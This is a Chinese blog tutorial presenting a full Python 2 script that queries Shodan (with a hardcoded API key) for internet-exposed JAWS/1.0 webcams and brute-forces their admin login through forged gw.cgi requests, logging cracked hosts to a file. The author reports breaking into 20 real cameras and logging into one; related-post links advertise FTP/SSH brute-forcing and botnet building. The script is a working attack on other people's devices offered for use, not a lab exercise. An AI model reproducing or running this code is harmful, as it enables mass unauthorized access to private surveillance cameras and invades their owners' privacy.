关于本文的技术知识点,Shodan模块的用法,传送门——>  Python中shadon模块的使用    Shodan的使用

今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的Banner信息头有一个很明显的特征就是 JAWS/1.0 。

我们先利用 Shodan搜索一下 JAWA/1.0,就可以看到出来了很多摄像头

大白鲨这种摄像头有一个特点就是他的 admin 账户的密码默认是空。而很多人买了摄像头之后装上就草草了事了,也不会去修改密码。所以我们是利用很多用户的摄像头空密码的漏洞,去暴力测试。

具体代码如下:环境  python 2.7.5

# -*- coding: utf-8 -*-
"""
Created on Fri Nov 16 21:56:15 2018
@author: 小谢
"""
import urllib
import urllib2
import time
import shodan
i=0
api=shodan.Shodan("cB9sXwb7l95ZhSJaNgcaO7NQpkzfhQVM")
def FindTarget():
try:
f=open("target.txt","w")
results=api.search('JAWS/1.0')
print("Results found:%s"%results['total'])
for result in results['matches']:
url=result['ip_str']+":"+str(result['port'])
f.write(url)
f.write("\n")
f.close()
except shodan.APIError,e:
print("Error:%s"%e)
def Login(host,port):
global i
try:
with open("passwd.txt","r") as f:
for line in f.readlines():
passwd=line.strip("\n").strip("\r")
headers={
'Host':host,
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Referer':"http://"+host+"/",
'Accept':"*/*",
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'X-Requested-With':'XMLHttpRequest',
'Cookie':'lxc_save=admin%2c'+passwd+";dvr_camcnt=16;dvr_clientport="+port+";dvr_sensorcnt=4; dvr_usr=admin; dvr_pwd="+passwd+"; iSetAble=1; iPlayBack=1",
'Connection':'close'
}
a='<juan ver=\"\" squ=\"\" dir=\"0\"><rpermission usr=\"admin\" pwd=\"'+passwd+'\"><config base=\"\"/><playback base=\"\"/></rpermission></juan>'
b=urllib.quote(a) #对a进行URL编码
ti=int(time.time()) #获取当前距离元点的时间,整数
data="xml="+b+"&_="+str(ti)
url="http://"+host+"/cgi-bin/gw.cgi?"+data #提交的url
req=urllib2.Request(url=url,headers=headers) #得到一个urblib2.Request对象
try:
response=urllib2.urlopen(req,timeout=5)
length=response.headers['Content-Length']
if length==str("175"):
i=i+1
if passwd=="":
print(host+"是空密码")
files=open("ip.txt","a")
data=host+passwd
files.write(data)
files.write("\n")
files.close()
break
else:
print(host+"--"+passwd+"--")
break
except urllib2.URLError,e:
print("该网站"+host+"对输入密码错误三次进行了锁定!")
break
except Exception , e:
print("请求超时!")
def exploit():
try:
with open("target.txt") as f:
for line in f.readlines():
host=line.strip("\n").strip("\r")
port=host.split(":")[1].strip("\r")
Login(host,port)
except Exception ,e:
print("出现异常:%s",e)
finally:
print("共破解"+str(i)+"个摄像头")
def main():
FindTarget()
exploit()
if __name__=="__main__":
start=time.time()
main()
end=time.time()
print("共花费了%s的时间"%(end-start))

脚本运行截图

可以看到,最后一共破解了20个摄像头,用了375秒的时间。

随便登录一个

因为我们Shodan的没有付费,所以只能搜索到前100个摄像头,所以我们是从前100个摄像头里面破解了20个摄像头。

具体函数模块讲解:

FindTarget() 函数用于查找在线的 大白鲨摄像头,并且写入 target.txt  文件中

def FindTarget():
try:
f=open("target.txt","w")
results=api.search('JAWS/1.0') #搜索大白鲨摄像头
print("Results found:%s"%results['total'])
for result in results['matches']:
url=result['ip_str']+":"+str(result['port']) #摄像头的ip和端口
f.write(url)
f.write("\n")
f.close()
except shodan.APIError,e:
print("Error:%s"%e)

Login() 用于尝试登录每个 ip 地址,用户名为 admin 密码为我们 passwd.txt文件中的密码字典。这就需要我们模拟登录时候包的结构了。我们先尝试浏览器登录,然后设置代理查看数据包的结构。然后我们再利用python模拟数据包发送,进行自动化测试。

将回包长度为 175的地址写入ip.txt文件中。回包长度为175说明登录成功,其他长度都是登录失败!

def Login(host,port):
global i
try:
with open("passwd.txt","r") as f:
for line in f.readlines():
passwd=line.strip("\n").strip("\r")
headers={
'Host':host,
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Referer':"http://"+host+"/",
'Accept':"*/*",
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'X-Requested-With':'XMLHttpRequest',
'Cookie':'lxc_save=admin%2c'+passwd+";dvr_camcnt=16;dvr_clientport="+port+";dvr_sensorcnt=4; dvr_usr=admin; dvr_pwd="+passwd+"; iSetAble=1; iPlayBack=1",
'Connection':'close'
}
a='<juan ver=\"\" squ=\"\" dir=\"0\"><rpermission usr=\"admin\" pwd=\"'+passwd+'\"><config base=\"\"/><playback base=\"\"/></rpermission></juan>'
b=urllib.quote(a)
ti=int(time.time()) #获取当前距离元点的时间,整数
data="xml="+b+"&_="+str(ti)
url="http://"+host+"/cgi-bin/gw.cgi?"+data #提交的url
req=urllib2.Request(url=url,headers=headers)
try:
response=urllib2.urlopen(req,timeout=5) #设置超时
length=response.headers['Content-Length']
if length==str("175"):
i=i+1
if passwd=="":
print(host+"是空密码")
files=open("ip.txt","a")
data=host+passwd
files.write(data)
files.write("\n")
files.close()
break
else:
print(host+"--"+passwd+"--")
break
except urllib2.URLError,e:
print("该网站"+host+"对输入密码错误三次进行了锁定!")
break
except Exception , e:
print("请求超时!")

exploit()函数就是读取 target.txt 文件中的地址,然后将其一个一个破解

def exploit():
try:
with open("target.txt") as f:
for line in f.readlines():
host=line.strip("\n").strip("\r")
port=host.split(":")[1].strip("\r")
Login(host,port)
except Exception ,e:
print("出现异常:%s",e)
finally:
print("共破解"+str(i)+"个摄像头")

Python脚本自动化破解大白鲨摄像头(Shodan)的更多相关文章

  1. [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

    家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...

  2. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  3. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  4. 大华摄像头报警接口中图片加密,python调用c++方式实现解密

    项目中,大华摄像头的报警信息,里面有图片地址,需要1天内取下来,保持留痕 可惜,图片下载后,加密了,大华提供了android,ios,c++例子,没有提供java解密例子 没办法,只好先用c++例子简 ...

  5. python脚本实现接口自动化轻松搞定上千条接口用例

    接口自动化目前是测试圈主流的一个话题,我也在网上搜索了很多关于自动化的关键词,大多数博主分享的python做接口自动化都是以开源的框架,比如:pytest.unittest+ddt(数据驱动) 最常见 ...

  6. Python脚本破解Linux口令(crypt模块)

    环境 Kali Linux ,python版本2.7.13 . 我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的. 在Linux系统 ...

  7. 某互联网后台自动化组合测试框架RF+Sikuli+Python脚本

    某互联网后台自动化组合测试框架RF+Sikuli+Python脚本 http://www.jianshu.com/p/b3e204c8651a 字数949 阅读323 评论1 喜欢0 一.**Robo ...

  8. Python脚本之——API自动化框架总结

    学完了Python脚本接口自动化之后,一直没有对该框架做总结,今天终于试着来做一份总结了. 框架结构如下图: 来说一下每个目录的作用: Configs:该目录下存放的是.conf,.ini文件格式的配 ...

  9. Linux Shell输出颜色字符学习笔记(附Python脚本实现自动化定制生成)

    齿轮发出咔嚓一声,向前进了一格.而一旦向前迈进,齿轮就不能倒退了.这就是世界的规则. 0x01背景 造了个轮子:御剑师傅的ipintervalmerge的Python版本.觉得打印的提示信息如果是普通 ...

随机推荐

  1. 03----python入门----函数相关

    一.前期知识储备 函数定义 你可以定义一个由自己想要功能的函数,以下是简单的规则: 函数代码块以 def 关键词开头,后接函数标识符名称和圆括号  () 任何传入参数和自变量必须放在圆括号中间,圆括号 ...

  2. 如何在 ASP.Net Core 中使用 MiniProfiler

    web应用程序的性能相信是大家普遍关心的一个问题,也相信大家有很多工具可用来分析应用程序的性能并能够找到其中的瓶颈,MiniProfiler 就是这个领域中的一款产品,它是一款简单的,功能强大的web ...

  3. DataFocus小学堂|客户分析之复活客户分析

    复活客户分析 什么是"复活客户"?如何进行"复活客户分析"呢?今天,我们借助DataFocus系统,来了解一种简单的复活客户分析. 1.何为复活客户 复活客户, ...

  4. windows程序员开发linux程序的头一个月

    开发环境选择 vim,vscode,qt,visual studio都可以做linux c++开发,但是作为windows程序员,最熟悉的还是visual stuio,加上visual studio ...

  5. IntelliJ IDEA安装lombok

    1. 搜索Plugins 点击下方的Browse repositories.. 2.点击安装,重新启动

  6. 电影AI修复,让重温经典有了新的可能

    摘要:有没有一种呈现,不以追求商业为第一目的,不用花大价钱,不用翻拍,没有画蛇添足,低成本的可共赏的让经典更清晰? 本文分享自华为云社区<除了重映和翻拍,重温经典的第三种可能>,原文作者: ...

  7. vue实现拖拽排序

    基于vue实现列表拖拽排序的效果 在日常开发中,特别是管理端,经常会遇到要实现拖拽排序的效果:这里提供一种简单的实现方案. 此例子基于vuecli3 首先,我们先了解一下js原生拖动事件: 在拖动目标 ...

  8. PReact10.5.13源码理解

    React源码看过几次,每次都没有坚持下来,索性学习一下PReact部分,网上讲解源码的不少,但是基本已经过时,所以自己来梳理下 render.js部分 import { EMPTY_OBJ, EMP ...

  9. Webpack的基本配置和打包与介绍(二)

    1. 前言 在上一章中我们学习到了webpack的基本安装配置和打包,我们这一章来学学如何使用loader和plugins 如果没看第一章的这里有传送门 2. Loader 2.1 什么是loader ...

  10. 【近取 key】NABCD分析

    项目 内容 这个作业属于哪个课程 2021春季计算机学院软件工程(罗杰 任健) 这个作业的要求在哪里 团队项目-NABCD分析 我在这个课程的目标是 提升工程能力和团队意识,熟悉软件开发的流程 这个作 ...